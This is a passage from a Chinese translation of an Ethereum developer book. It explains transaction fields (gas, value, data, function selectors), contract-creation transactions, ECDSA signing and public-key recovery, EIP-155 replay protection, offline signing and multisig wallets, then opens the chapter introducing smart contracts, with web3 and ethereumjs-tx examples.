 　gasPrice最低可接受的值是零。这意味着钱包软件可以生成完全不包含任何手续费的交易。取决于区块的容量，这样的交易有可能永远也不会在区块链上被确认，但是以太坊协议本身并没有禁止无手续费交易。你可以在目前以太坊的区块链中找到好几笔类似的无手续费交易，这些交易都已经成功完成。

通过计算最近几个区块中的价格中值，web3接口提供了一个建议的gasPrice（我们可以使用truffle控制台或者任何JavaScript web3控制台）：






> web3.eth.getGasPrice(console.log)



> null BigNumber { s: 1, e: 10, c: [ 10000000000 ] }







与gas相关的第二个重要字段是gasLimit。简单地说，gasLimit表示这个交易的发起方为了完成交易所愿意支付的最大gas数量。对于简单的以太币转账来说，例如从一个外部账户转账到另一个外部账户，所需要的gas数量是固定的21000单位个gas。为了算出这些gas对应的以太币数量，你需要用21000乘以你所指定的gasPrice，比如：






> web3.eth.getGasPrice(function(err, res) {console.log(res*21000)} )



> 210000000000000







如果你的交易目标地址是一个合约，那么需要的gas数量可以估计，但是很难精确算出。这是因为合约可以根据不同的初始条件选择不同的执行路径，这样会导致不同的gas开销。这意味着合约可能只执行一个简单的计算，也可能是更复杂的计算，这些可能取决于一些你所无法控制或预判的外部因素。为了解释清楚这个概念，我们举个例子：假设有这样一个智能合约，每次被调用时，它的计数器都会加一，并且执行一个特殊的循环，执行次数等于调用次数。有可能在第100次调用时，会出现一个特殊的奖励（像中彩票一样），但是需要额外的计算量才能算出奖励。如果你调用合约99次，都只会发生一件事情，但是第100次调用却完全不同。你所支付的gas数量取决于在你的交易被包含进区块之前，这个合约已经被调用了多少次。可能你所预估的gas是基于第99次调用的，但是恰好在你的交易被矿工确认之前，其他人发起了第99次调用。现在你变成了发起第100次调用的那个人，这次调用所对应的计算量，也就是你需要支付的gas开销相比之前会大很多。

借助以太坊常用的比喻，你可以把gasLimit字段想象为汽车的油箱（这里把交易比喻为汽车）。你会在启程之前加够你认为这一路所需要的汽油（完成交易所需要的计算量）。你可以适当地估计油量，但是由于路上的突发情况，或者临时的线路更改（合约转入一个更复杂的计算分支），这些都可能增加汽车的油耗。

也许油箱的比喻有一些误导。这更像是一个用于加油站的信用账号，你可以在旅程结束后支付，基于实际的gas开销。当你发出交易时，验证交易的第一个步骤就是确保发起交易的账户中有足够的以太币来支付对应的gas费用（即gasPrice*gas）。但是这时并不会从账户中直接扣除gas，而是直到交易执行结束后才会扣除。你只会被扣除交易执行所实际发生的gas，但是账户中必须有高于你在交易中指定的最高gas费用对应的以太币，这个交易才能通过验证。




交易的接收方



交易的接收方在to字段中指定。这个字段包含了一个20字节的以太坊地址。这个地址既可以是外部账户，也可以是合约的地址。

以太坊不会进一步验证这个地址。任何一个20字节的值都会被认为是正确的。如果这20字节的值对应的是一个没有私钥的地址，或者没有对应的合约，这个交易仍旧是合法的。以太坊无法判断这个地址是否是从已知的公钥（因而这个地址会有一个可以解锁的私钥）衍生而来的。


 　以太坊协议也不会验证接收方地址的正确性。你可以向一个没有对应私钥的“地址”发送以太币，这就相当于是销毁以太币。接收方地址的验证工作需要在用户应用这一层完成。

向一个错误的地址发送交易可能会导致以太币被销毁，使其永远无法被访问（不可被花费），这是因为大部分地址没有已知的私钥，也就无法生成签名去使用它。通常认为验证地址的工作应该在用户应用这一层（见第4章“EIP-55：十六进制编码地址的大写校验”一节的内容）。实际上，也存在一些合理的销毁以太币的场景，如支付通道和其他合约存在欺诈行为时。由于以太币的数量是有限的，销毁以太币能有效地将价值传到所有以太币持有者手上（按照他们持有以太币的比例）。




交易中的以太币和数据



交易数据包的核心是这两个字段：value和data。交易可以同时包括value和data，只有value、只有data或既没有value也没有data这几种情况都是正确且合法的。

只包含value的交易是支付操作。只包含data的交易是针对合约的调用。既没有value也没有data的交易也许只是为了浪费gas，但也是允许的。

我们来尝试所有以上这些情况。首先，为了让演示更加直观，我们使用两个变量来设定钱包软件的发起地址和目标地址：






src = web3.eth.accounts[0];



dst = web3.eth.accounts[1];







我们的第一笔交易只包含付款，不包含数据：






web3.eth.sendTransaction({from: src, to: dst, \



  value: web3.toWei(0.01, "ether"), data: ""});







钱包软件会显示一个确认页面，包含发送的以太币的值，同时显示交易中的data字段没有内容：




图6-1：Parity钱包显示的交易情况：只有value，没有data

接下来这笔交易同时包含付款和数据：






web3.eth.sendTransaction({from: src, to: dst, \



  value: web3.toWei(0.01, "ether"), data: "0x1234"});







钱包软件会显示一个确认页面，包含发送的以太币的值，同时显示交易中data字段的内容：




图6-2：Parity钱包显示的交易情况：有value和data

接下来这笔交易不包含付款，只包含数据：






web3.eth.sendTransaction({from: src, to: dst, value: 0, data: "0x1234"});







钱包软件会显示一个确认页面，显示本次交易发送的以太币为零，同时显示交易中data字段的内容：




图6-3：Parity钱包显示的交易情况：没有value，只有data

最后一笔交易既不包含付款，也不包含数据：






web3.eth.sendTransaction({from: src, to: dst, value: 0, data: ""}));







钱包软件会显示一个确认页面，显示本次交易发送的以太币为零，同时显示交易中附加的data字段没有内容：




图6-4：Parity钱包显示的交易情况：既没有value，也没有data



向外部账户和合约转账的交易



当你构建的以太坊交易中包含value，也就是转账支付的以太币数量时，交易的行为模式取决于你的目的地址是另一个外部账户，还是一个合约。

对于外部账户，或者任何在区块上没有注册为合约的地址，以太坊会记录这一次的状态变化，在目的账户余额中增加你所指定的以太币。如果这个地址之前不存在，那么以太坊会在区块链上创建这个地址，把它的余额初始化为你在支付交易中指定的value值。

如果目标地址（to）是一个合约，那么EVM会执行这个合约，并尝试调用在交易的data字段中指定的函数。如果交易中的data字段是空的，那么EVM会指定目标合约的回退函数，如果这个回退函数是可支付的，那么根据函数的代码来决定下一步的执行动作。如果没有回退函数，那么交易的效果就是增加合约的余额，如同向钱包支付一样。

合约可以在可支付函数被调用时，立刻通过抛出异常的方式拒绝转入的支付，也可以根据可支付回退函数的逻辑做出决定。如果可支付回退函数正常执行（没有异常），那么合约的状态就会被更新，以此反映出合约账户余额的变化。



向外部账户和合约传送数据的交易



当交易的data字段含有内容时，多数情况下这个交易的目标是一个合约。这并不意味着你不能通过交易向外部账户发送data字段。实际上，你完全可以这么做。然而，在这种情况下，对data字段内容的解读取决于目标外部账户的主人所使用的钱包软件。以太坊协议并未对此做出规定。大部分钱包软件会忽略针对外部账户交易中包含在data字段中的内容。在将来，也许会有一些标准来规范化钱包软件如何使用交易中包含在data字段中的内容，这样也许可能允许用户调用运行在用户钱包内部的函数。非常重要的一点区别在于，外部账户对交易中data内容的解读和使用，都不属于以太坊区块链共识的一部分，这是完全不同于合约执行的。

现在，我们假设你的交易包含data字段的内容，目标是一个合约地址。在这样的情况下，data字段的内容会被EVM解读为针对合约的函数调用，调用data中指定的函数，并把需要的参数传递给这个函数。

发送给合约的data字段内容是通过十六进制编码的：


函数选择器


被调函数原型
 


[1]




 的Keccak-256哈希值的前4个字节。这允许EVM准确无误地识别被调函数。


函数参数


函数的参数，根据EVM多种实现规则定义的编码结构。

在代码2-1中，我们定义了一个用于提币的函数：






function withdraw(uint withdraw_amount) public {







这个方法的原型定义为包含函数名称和圆括号内每一个参数类型的字符串。函数的名称是withdraw，它接收一个参数，类型是unit（也就是unit256），所以这个函数的定义就是：






withdraw(uint256)







我们来计算它的Keccak-256哈希值：






> web3.sha3("withdraw(uint256)");



'0x2e1a7d4d13322e7b96f9a57413e1525c250fb7a9021cf91d1540d5b69f16a49f'







这个哈希值的前4个字节是0x2e1a7d4d。这是“函数选择器”的值，用于告诉EVM调用的是哪一个函数。

接着，我们来计算作为参数传递给withdraw_amount的那个值。我们希望提取0.01 ether，因此把这个值编码为十六进制大端字节序无符号256位整数，采用wei为单位：






> withdraw_amount = web3.toWei(0.01, "ether");



'10000000000000000'



> withdraw_amount_hex = web3.toHex(withdraw_amount);



'0x2386f26fc10000'







现在，增加函数选择器之后的调用内容如下（填满了32字节）。






2e1a7d4d000000000000000000000000000000000000000000000000002386f26fc10000







这就是我们这个交易中data字段的内容，调用withdraw方法并通过withdraw_amount参数请求提取0.01ether。




[1]

 prototype，指函数的名称和参数。




特殊交易：合约创建



有一种特殊的交易值得我们关注，即在区块链上创建新合约的交易，这些合约用于未来有需求的场合。合约注册交易的目的地址是一个特殊的地址——零地址。简单地说，合约注册交易的to字段包含的是0x0。这个地址既不是一个外部账户地址（没有与之对应的私钥或者公钥），也不是一个合约地址。这个地址永远都不能用来支付以太币或者触发交易。它只是作为一个目标，一个带有特殊的“注册合约”含义的目标地址。

尽管全零地址仅用来进行合约注册，但有时候这个地址也会收到来自其他账户的以太币转账。对这个情况有两种解释：一种情况是由于误操作，这就导致了以太币的丢失；另一种情况是有意地销毁以太币（故意把以太币发到永远不会花费它的地址）。如果你希望有意地销毁一些以太币，那么需要向网络明确地表示你的意图，使用这个特殊的销毁地址：






0x000000000000000000000000000000000000dEaD








 　任何发送给合约注册地址或专用销毁地址的以太币都无法继续使用，并且被永久性地锁定在了这些地址上。

合约注册交易中唯一需要的就是在data字段中包含经过编译的合约字节码。这个交易的唯一用处就是把合约注册到以太坊区块链上。你可以在value字段中包含以太币，从而为新的合约设置起始余额，但这完全是可选的。如果你向合约注册地址发送了一笔只有value（以太币）而没有data数据字段的交易，那么这比交易的效果和销毁以太币一样：没有新的合约可用，以太币却丢失了。

举个例子，我们可以手动向零地址发送包含data值的交易，注册第2章中的Faucet.sol合约。合约需要被编译成字节码表示。这可以通过Solidity编译成完成：






$ solc --bin Faucet.sol



Binary:



6060604052341561000f57600080fd5b60e58061001d6000396000f30060606040526004361060...







同样的结果也可以从Remix在线编译器获得。

现在我们可以创建交易：






> src = web3.eth.accounts[0];



> faucet_code = \



  "0x6060604052341561000f57600080fd5b60e58061001d6000396000f300606...f0029";



> web3.eth.sendTransaction({from: src, to: 0, data: faucet_code, \



  gas: 113558, gasPrice: 200000000000});



"0x7bcc327ae5d369f75b98c0d59037eec41d44dfae75447fd753d9f2db9439124b"







始终为to指定参数是良好的做法，即便是在向零地址创建合约的情况下，因为不小心将你的以太币发送给0x0而导致其丢失的成本太高了。同样，你应该为gasPrice和gasLimit指定值。

一旦这个创建合约的交易被矿工打包，我们就可以在以太坊区块浏览器Etherscan中查看到它：




图6-5：Etherscan显示合约已经被矿工打包到区块中

我们可以查看交易收据以获得合约相关的信息：






> eth.getTransactionReceipt( \



"0x7bcc327ae5d369f75b98c0d59037eec41d44dfae75447fd753d9f2db9439124b");



{



  blockHash: "0x6fa7d8bf982490de6246875deb2c21e5f3665b4422089c060138fc3907a95bb2",



  blockNumber: 3105256,



  contractAddress: "0xb226270965b43373e98ffc6e2c7693c17e2cf40b",



  cumulativeGasUsed: 113558,



  from: "0x2a966a87db5913c1b22a59b0d8a11cc51c167a89",



  gasUsed: 113558,



  logs: [],



  logsBloom: \



    "0x00000000000000000000000000000000000000000000000000...00000",



  status: "0x1",



  to: null,



  transactionHash: \



    "0x7bcc327ae5d369f75b98c0d59037eec41d44dfae75447fd753d9f2db9439124b",



  transactionIndex: 0



}







其中包含合约的地址，我们像之前讲到的那样向合约发送资金或者从合约中获得资金：






> contract_address = "0xb226270965b43373e98ffc6e2c7693c17e2cf40b"



> web3.eth.sendTransaction({from: src, to: contract_address, \



value: web3.toWei(0.1, "ether"), data: ""});



"0x6ebf2e1fe95cc9c1fe2e1a0dc45678ccd127d374fdf145c5c8e6cd4ea2e6ca9f"



> web3.eth.sendTransaction({from: src, to: contract_address, value: 0, data: \



"0x2e1a7d4d000000000000000000000000000000000000000000000000002386f26fc10000"});



"0x59836029e7ce43e92daf84313816ca31420a76a9a571b69e31ec4bf4b37cd16e"







不久之后，所有的交易都可以在Etherscan中被查看到，见图6-6。




图6-6：Etherscan显示发送和接收以太币的交易




数字签名



目前为止，我们还没又深入讨论过数字签名。在这一节，我们来看看数字签名的工作方式，以及它们如何在证明拥有私钥的同时不需要对外公布私钥。



椭圆曲线数字签名算法



以太坊中使用的数字签名称为椭圆曲线数字签名算法，简称ECDSA。ECDSA是一套基于椭圆曲线私钥和公钥密钥对的数字签名算法，在第4章“椭圆曲线密码学的基本概念”一节中有详细描述。

以太坊中的数字签名起到了三个作用（如下所示）。第一，数字签名用来证明签名方是私钥的持有人，因此也就是对应以太坊账户的主人，用于授权以太坊的转账或合约的执行。第二，用于证明这个“授权”是不可否认的。第三，用于确保交易数据在经过签名之后没有也不能被任何人修改。



维基百科上关于数字签名的定义



数字签名是一种数学标准，用于证明某个数字消息或文档的真实性。一个合法的数字签名可以让接收方相信消息来自于已知的发送方（身份认证），发送方不能否认发送过这个消息（不可否认），同时这个消息在传输过程中是无法被修改的（完整性）。

（来源：
https://en.wikipedia.org/wiki/Digital_signature

 ）



数字签名的工作原理



数字签名的数学标准中包含两个部分。第一部分适用于创建签名的算法，针对一个消息（例如我们的以太坊交易数据包）使用私钥（签名密钥）进行签名。第二部分是一个允许任何人使用消息和公钥进行签名验证的算法。


创建数字签名


在以太坊的ECDSA实现中，被签名的“消息”是交易数据包，或者更准确地说，是经过RLP编码的交易数据包的Keccak-256哈希值。签名密钥是外部账户的私钥，这个算法的输出结果就是一个数字签名：

Sig=F

sig


 (F

keccak256


 (m),k)

其中：

·k是用于签名的私钥

·m是经过RLP编码的交易数据包

·F

keccak256


 是Keccak-256哈希函数

·F

sig


 是签名算法

·Sig是输出的数字签名

函数F

sig


 生成了一个签名，这个签名包含两部分内容，通常称为r和s：

Sig=(r,s)



验证数字签名



为了验证签名，我们必须有签名本身（即r和s）、交易数据包和公钥（对应着生成这个签名的私钥）。验证签名意味着：只有私钥的持有者才能够针对交易生成这样的签名。

签名验证算法的输入包括交易数据包（其实是交易的哈希值的一部分）、签名方的公钥和签名（r和s值），如果针对消息和公钥的签名验证成功，算法会返回true。



ECDSA背后的数学过程



如之前提到的，签名是通过数学算法F

sig


 生成的，这个签名包含r和s两个值。这一节我们来研究F

sig


 的细节。

签名算法首先以密码学安全的方式生成一个临时的私钥。这个临时的密钥对用于计算r和s的值，以确保攻击者无法通过在以太坊上查看已签名的交易来计算发送者的真实密钥。

就像我们在第4章“公钥”一节描述的，这个临时私钥是由以下两个输入决定的：

·一个密码学安全的随机数q，作为临时私钥。

·从q生成的临时公钥Q，以及椭圆曲线上的生成点G。

数字签名中的r值就是临时公钥Q的x轴的值。

在此基础上，算法计算数字签名的s值，通过如下公式：

s≡q

-1


 (Keccak256(m)+r*k)(mod p)

其中：

·q是临时私钥

·r是临时公钥对应的x轴坐标

·k是用于签名的私钥（外部账户持有人的私钥）

·m是被签名的交易数据包（的哈希值）

·p是椭圆曲线上的素数阶

验证签名是一个相反的操作，使用r、s和公钥的值来计算Q，Q是椭圆曲线上的一个点（用于本次签名创建的临时公钥），具体的步骤如下：

1.检查所有的输入都是正确的形式

2.计算w=s

-1


 mod p

3.计算u

1


 =Keccak256(m)*w mod p

4.计算u

2


 =r*w mod p

5.计算椭圆曲线上的点Q≡u

1


 *_G+u

2


 *K(mod p)

其中：

·r和s是数字签名的值

·K是签名方（外部账户持有人）的公钥

·m是被签名的交易数据包

·G是椭圆曲线上的生成点

·p是椭圆曲线上的素数阶

如果计算得到的Q点对应的x轴坐标等于r，那么就可以认定这个签名是合法的。

注意在整个签名验证的过程中，并不需要对外提供私钥。


 　ECDSA的数学实现是非常复杂的，远远超出了本书的范围。网上有一些非常详细的关于椭圆曲线的介绍，请搜索“ECDSA Explained”，或访问
https://www.instructables.com/id/Understanding-how-ECDSA-protects-your-data/

 。



交易签名实践



为了生成一个正确的交易，交易的发起方必须在交易的数据包中附带上使用椭圆曲线数字签名算法生成的数字签名。当我们说“对某个交易签名”时，实际上是指“对采用RLP编码的交易数据包的Keccak-256哈希值”进行签名
 


[1]




 。签名是针对交易数据包的哈希值进行的，而不是针对交易数据包本身。

在以太坊中签名一个交易，发起方需要：

1.生成一个交易数据包，包括九个字段：nonce、gasPrice、gasLimit、to、value、data、chainID、0、0。

2.把交易数据包进行RLP格式编码。

3.计算这个交易的Keccak-256哈希值。

4.计算ECDSA签名，使用交易发起方的私钥进行签名。

5.在交易中插入经过ECDSA签名获得的v、r和s的值。

特殊签名变量v代表两件事情：链ID，以及帮助ECDSArecover函数检查签名的恢复标识符。它被计算为27或28，或者是将链ID加倍后再加上35或36。关于链ID更加详细的介绍请参考本章“使用EIP-155创建原生交易”一节的内容。恢复标识符（在“老式”签名中是27或者28，在完整的SpuriousDragon式签名中是35或者36）用来表明公钥的y分量的奇偶性，更多细节同样在“使用EIP-155创建原生交易”一节中有介绍。


 　以太坊在区块高为2675000处实施了名为“Spurious Dragon”的硬分叉，伴随着其他变化，这次硬分叉还引入了包括交易重放保护在内的新签名方案（阻止在同一网络中重放他人交易的意图）。这个新的签名方案在EIP-155中被引入。这次更改会影响交易的形式及其签名，因此必须注意三个签名变量中的第一个（即v），它采用两种形式表明交易中的数据字段应该如何被哈希。



原生交易创建和签名



这一节我们来创建一个原生交易并对它进行签名，使用ethereumjs-tx这个程序库。这个例子展示了钱包中的常用功能，以及应用程序如何为用户签署交易。例子的源代码位于GitHub仓库（
https://github.com/ethereumbook/ethereumbook/blob/develop/code/web3js/raw_tx/raw_tx_demo.js

 ）的raw_tx_demo.js文件中。






// Load requirements first:



//



// npm init



// npm install ethereumjs-tx



//



// Run with: $ node raw_tx_demo.js



const ethTx = require('ethereumjs-tx');



const txData = {



  nonce: '0x0',



  gasPrice: '0x09184e72a000',



  gasLimit: '0x30000',



  to: '0xb0920c523d582040f2bcb1bd7fb1c7c1ecebdb34',



  value: '0x00',



  data: '',



  v: "0x1c", // Ethereum mainnet chainID



  r: 0,



  s: 0



};



tx = new ethTx(txData);



console.log('RLP-Encoded Tx: 0x' + tx.serialize().toString('hex'))



txHash = tx.hash(); // This step encodes into RLP and calculates the hash



console.log('Tx Hash: 0x' + txHash.toString('hex'))



// Sign transaction



const privKey = Buffer.from(



    '91c8360c4cb4b5fac45513a7213f31d4e4a7bfcb4630e9fbf074f42a203ac0b9', 'hex');



tx.sign(privKey);



serializedTx = tx.serialize();



rawTx = 'Signed Raw Transaction: 0x' + serializedTx.toString('hex');



console.log(rawTx)







运行上述示例代码会产生输出结果：






$ node raw_tx_demo.js



RLP-Encoded Tx: 0xe6808609184e72a0008303000094b0920c523d582040f2bcb1bd7fb1c7c1...



Tx Hash: 0xaa7f03f9f4e52fcf69f836a6d2bbc7706580adce0a068ff6525ba337218e6992



Signed Raw Transaction: 0xf866808609184e72a0008303000094b0920c523d582040f2bcb1...









使用EIP-155创建原生交易



名为“简单重放攻击保护”的EIP-155标准制定了带有重放攻击保护能力的交易的编码格式，这个标准在交易签名之前包含了一个链标识符。这确保在一个以太坊区块链（如以太坊主网）上创建的交易在其他以太坊区块链（如以太坊经典或者Ropsten测试网）上是不合法的。因此，在一个网络上广播的交易不能被重放到另一个网络，这就是重放攻击保护名字的来源。

EIP-155在包含六个字段的交易的数据结构中添加了三个字段，分别是链标识符、0和0。这三个值在交易被编码和哈希之前加入数据结构中。因此这三个值会改变交易的哈希值，这个哈希值之后是用来被签名的。通过在交易数据中插入链标识符，交易的签名可以防止对链标识符的更改，因为如果更改了链标识符，那么签名也就失效了。因此，EIP-155可以确保交易无法在其他以太坊网络上进行重放，原因是交易的验证依赖于未经修改的链标识符。

链标识符会根据交易处在的以太坊网络取不同的值，见表6-1。

表6-1：链标识符




产生的交易数据经过RLP编码、哈希并签名。这个签名算法经过少量的修改，以对v前缀中的链标识符进行编码。

更多细节请参考EIP-155规范（
http://bit.ly/2CQUgne

 ）。




[1]

 数字签名算法的性能问题使得它无法对大段数据进行签名，也没有必要这么做。




签名的前缀值(v)和公钥恢复



在本章“交易的结构”一节中我们曾提到，交易消息中并没有包括任何from字段。这是因为交易发起方的公钥可以通过ECDSA的签名计算得到。获得了公钥之后，就很容易计算出交易发起方的以太坊地址。这个过程称为公钥恢复。

对于给定的供椭圆曲线进行计算的r和s，我们可以算出两个可能的公钥。

首先，我们通过签名中r值的x坐标，计算椭圆曲线上的点R和R'。因为椭圆曲线是关于x轴对称的，所以对于x值，在椭圆曲线上有两个满足的点，分列在x轴的两侧。

通过r，我们也可以计算出r

-1


 ，这是r的模乘法逆运算。

最终我们可以计算得到z，这是交易哈希值低位的第n位，其中n是椭圆曲线的阶。

因此两个可能的公钥是：

K

1


 =r

-1


 (sR-zG)

和

K

2


 =r

-1


 (sR′-zG)

其中：

·K

1


 和K

2


 是交易发起方的两个可能的公钥

·r

-1


 是签名中r值的模乘法逆运算

·s是签名中的s值

·R和R′是临时公钥的两个可能的值

·z是交易哈希值低位的第n位

·G是椭圆曲线的生成点

为了让事情变得更高效，交易签名中包含了一个v字段，用于告诉我们哪一个R值是临时公钥。如果v是偶数，那么R就是正确的值。如果v是奇数，那么R′就是临时公钥。通过这样的方式，我们只需要计算R就可以得到K的值。




离线签名



当交易被签名后，它就可以被广播到以太坊网络。通常交易的创建、签名和广播都是在一个操作中完成的，例如web3.eth.sendTransaction。然而，如我们在本章“原生交易创建和签名”一节中所见，你可以把创建和签名交易的动作分成两步来执行。签名完成后，你可以使用web3.eth.sendSignedTransaction广播交易，这个方法接受十六进制编码和经过签名的交易数据包，并把这个数据包广播到以太坊网络上。

为什么我们想要把交易的签名和广播分开处理呢？主要原因是安全。用于签名的计算机上必须保存外部账户的私钥，用于广播交易的计算机必须连接在互联网上，并且运行以太坊客户端。如果这两个操作在同一台计算机上完成，那么就相当于把私钥放置在了一台联网的计算机上，这是非常危险的。把交易的签名和广播分开处理的做法称为离线签名（联网的设备和未联网的设备分别处理），这是一种非常常见的安全实践。

图6-7展示了相关流程：

1.为当前状态的账户通过在线的计算机创建一个未签名的交易，可以检索该账户当前的nonce和余额。

2.将未签名的交易转移到“空气隔离”的离线设备以便进行签名，如通过QR码或USB闪存设备。

3.将已经签名的交易转移回在线设备，以便在以太坊区块链上进行广播，如通过QR码或USB闪存设备。




图6-7：以太坊交易的离线签名

取决于我们所需要的安全等级，用于“离线签名”的计算机可以有不同等级的安全防护，可以是处在防火墙之后的专用子网中的计算机，也可以是一台完全离线的计算机（我们称之为空气隔离）。在“空气隔离”的系统中根本就没有网络连接，计算机完全隔离于任何网络环境。在隔离环境完成交易签名之后，你需要通过存储介质，或者网络摄像头和QR编码的方式把签名后的数据包转移到在线计算机。这也意味着每一笔交易都需要这样的方式才能转移到在线计算机，这太不方便了。

很多情况下完全空气隔离的系统是不可用的，但是即使是一定程度的隔离，也会带来极大的安全优势。例如，一个在防火墙之后的专用子网，只允许消息队列协议通过，这相比在网上系统处理签名而言，攻击面更小，更安全。很多公司在交易签名计算机上使用ZeroMQ（0MQ）消息队列，它的攻击面很小。使用这样的设置，交易通过消息队列完成签名。消息队列协议采用类似TCP数据包的方式把交易数据包发给签名计算机。签名计算机从消息队列中读取交易数据包，使用恰当的密钥对交易进行签名，然后把签名之后的交易数据包发回到回复消息队列。这个回复消息队列接着把交易发送给带有以太坊客户端的联网计算机，进行交易广播。




交易的传播



以太坊网络使用“洪泛”路由协议。每一个以太坊客户端都是P2P网络上的一个节点，这些节点构成了一个网状的结构。没有任何节点是特殊的，它们之间的身份都是对等的。我们会使用“节点”来代表连接在P2P网络上的以太坊客户端。

交易的广播从一个发起以太坊节点的交易创建（或从离线设备接收）和签名开始。交易通过验证后，会传送给所有跟这个发起节点直接相连的以太坊节点。平均而言，每一个以太坊节点大约维护了至少13个跟它直接相连的其他节点，称为邻居。每一个邻居节点都会在收到交易数据包后立刻进行验证。如果它们确认交易数据包是合法的，这些节点就会保留一份交易副本，然后把交易数据包广播给与它们相连的邻居（除去消息来源的那个上游节点）。因此，交易就像是水中的波纹一样，在整个网络中迅速传播开，直到所有节点都收到了一份交易的副本。节点可以对所广播的消息进行过滤，但默认情况下，节点会广播收到的所有验证消息。

在短短几秒钟的时间内，一个以太坊交易就能到达全球范围内所有的以太坊节点。从单个节点的角度而言，它无从知晓这个消息的来源。向这个节点发送交易的邻居，可能只是扮演了“二传手”的角色，但也可能是交易的真正发起方。为了追踪到交易的最初发起方，或者影响交易在以太坊中传播的形式，攻击者必须要控制网络中的大部分节点。这是P2P网络安全和隐私性的设计，对于区块链而言尤其重要。




记录在区块链上



尽管以太坊网络上的所有节点都是平等的，但有些节点会扮演矿工的角色，这些矿工把交易打包成区块链，投入到具备高性能GPU的矿场中。这些挖矿用的节点把一些交易打包成候选区块，使用“工作量证明”算法完成挖矿并达成全网共识。我们会在第14章详细讨论其中的细节。

不需要太深入细节，合法验证过的交易最终会被包含在一个区块中，并且记录在以太坊的区块链上。计入区块链之后，交易就会更改以太坊网络的单体，修改账户余额（对于转账类交易而言），或者调用改变内部状态的合约。这些变化在交易进行的同时被记录，称之为交易的收据，也可能会包含一些事件。我们会在第13章详细讨论这些细节。

一笔交易完成了它从创建、由外部账户私钥签名、广播最终写入区块链的旅程。它会触发以太坊单体状态的修改，并在区块链上留下自己的印记。




多签名交易



如果你对比特币脚本功能很熟悉的话，就会知道创建多重账户是可能的，该账户只有在多方共同签名的情况下才能花费其中的资金（比如2或者3或者4个签名中的2个）。以太坊基本的外部账户值交易并没有提供多重签名的功能，但是，任何有关签名的限制都可以通过智能合约来强制执行，包括你能想到的关于交易以太币和其他通证的任何条件。

为了利用这种能力，以太币必须被转移到“钱包合约”，该合约对支出规则进行了编程，例如多重签名或者要求支出限额（或者两者的结合）。一旦满足支出条件，钱包合约将在外部账户的授权提示下进行支出。所以，要想在多重条件下保护你的以太币，请将以太币转移到多重签名合约。每当你想将资金发送到另外一个账户时，所有必要的用户都需要通过常规的钱包应用向合约发送交易，从而有效授权合约执行最终的交易。

这些合约还可以被设计为在执行本地代码之前需要多个签名或者触发其他合约。这个方案的安全性最终由多重签名合约的代码所决定。

能够为智能合约实现多重签名的能力证明了以太坊的灵活性。但是，这是一把双刃剑，额外的灵活性可能会导致bug，从而破坏多重签名方案的安全性。实际上，有许多提案建议在EVM中添加多重签名命令，以消除对智能合约的要求，至少对于简单的M-of-N多重签名方案来说是这样的。这就相当于比特币的多重签名系统，它是核心共识规则的一部分，并且已被证明是健壮和安全的。




总结



交易是以太坊系统进行每项活动的起点。交易作为“输入”，可以导致以太坊虚拟机执行合约、更新余额以及更改以太坊区块链的状态。接下来，我们将更加详细地学习智能合约，并学会如何使用面向合约的语言Solidity进行编程。




第7章　智能合约与Solidity



正如我们在第2章中介绍的，以太坊包含两种类型的账号：外部账号（EOA）和合约账号。外部账户由用户通过独立于以太坊平台的钱包软件控制。与之相反，合约账户由它的代码（也就是常说的智能合约）来控制，这些代码运行在以太坊虚拟机（EVM）上。简单地说，外部账户就是一个账户，没有任何代码和状态存储与之关联，而合约账户则有其代码和数据状态存储。外部账户被交易控制，交易由来自现实世界中的私钥所创建并签名，并且是与协议独立的；合约账户并没有私钥，而是由它的智能合约代码进行预先控制。这两类账户都是通过以太坊地址表示的。在这一章，我们将讨论合约账户，以及控制这类账户的程序代码——智能合约。




什么是智能合约？



智能合约这个术语已经在过去数十年被用于描述各种不同领域的事物。在20世纪90年代，密码学家Nick Szabo定义了这个术语，并把它定义为“一系列承诺，通过数字化的形式，包括一组协议和在协议中的各方执行的其他承诺”。从那时起，智能合约这个概念发生了变化，特别是从2009年开始，以比特币为代表的去中心化区块链平台出现之后。在以太坊的上下文中，这个概念实际上有一些用词不当，以太坊的智能合约既不智能，也没有法律上的合约效力，但是这个术语已经广为流传。在本书中，我们使用智能合约来指代那些不可改变的计算机程序，以确定性方式运行在以太坊的虚拟机上，也就是我们常说的以太坊去中心化世界计算机。

我们来逐一拆解这个定义：


计算机程序


简单地说，智能合约就是计算机程序。在这个上下文中，合约这个词并没有任何法律上相关的含义。


不可改变


一旦部署之后，智能合约的代码就不能被更改。不像是传统的软件，更改智能合约的唯一办法就是部署一个新的实例。


确定性的


对于触发智能合约执行的交易上下文，或执行时的以太坊区块链状态，智能合约执行结果的输出对于每一个运行或调用它的人来说都是一样的，


以太坊虚拟机上下文


智能合约运行在一个非常有限的执行环境中。它们可以访问自己的状态，调用合约交易的上下文信息，以及有关最近区块的信息。


去中心化的世界计算机


EVM作为每一个以太坊节点的本地实例运行，但是因为所有EVM都是运行在相同的初始状态，并且会输出完全相同的最终状态，所以整个系统就像是一台世界计算机。




智能合约的生命周期



智能合约通常是采用类似Solidity这样的高级编程语言编写的。但是为了在以太坊虚拟机上运行，这些代码必须编译为EVM可以执行的底层字节码。编译完成后，这些代码会通过一个特殊的合约创建类交易部署到以太坊区块链上，这个特殊交易的目标地址是被称为0x0的合约创建地址（参见第6章的“特殊交易：合约创建”一节）。每一个合约实例都通过以太坊地址来表示，这个地址由合约的创建交易在创建账户和随机数时生成。合约实例的地址可以在交易中用作收款地址，向合约地址发送以太币，或者通过地址调用合约实例中的函数。请注意，不同于外部账户，对于新建的智能合约实例，并没有一个与之关联的私钥。作为合约的创建者，你并不会在协议层获得相对其他用户而言的任何特权（尽管你可以把自己的特权写入合约内部）。你肯定不会收到一个合约账户的私钥，因为它并不存在，我们可以认为，智能合约是它自己的主人。

需要注意，合约只有在被交易调用时才会执行。以太坊上所有合约的执行，归根结底，都是由来自外部账户所创建的交易触发的。一个合约可以调用另一个合约，然后一层层地在合约之间不断调用，但是这个执行链条中的第一个合约的执行，一定是由外部账户所创建的交易触发的。智能合约永远不会“自动运行”，或者“在后台运行”。在没有交易触发（不论是直接触发，还是通过智能合约调用链）执行的情况下，合约永远处在等待调用的状态。另外，还需要注意的是，任何情况下智能合约的“并发执行”都是没有意义的：以太坊世界计算机可以被认为是一台单线程的计算机。

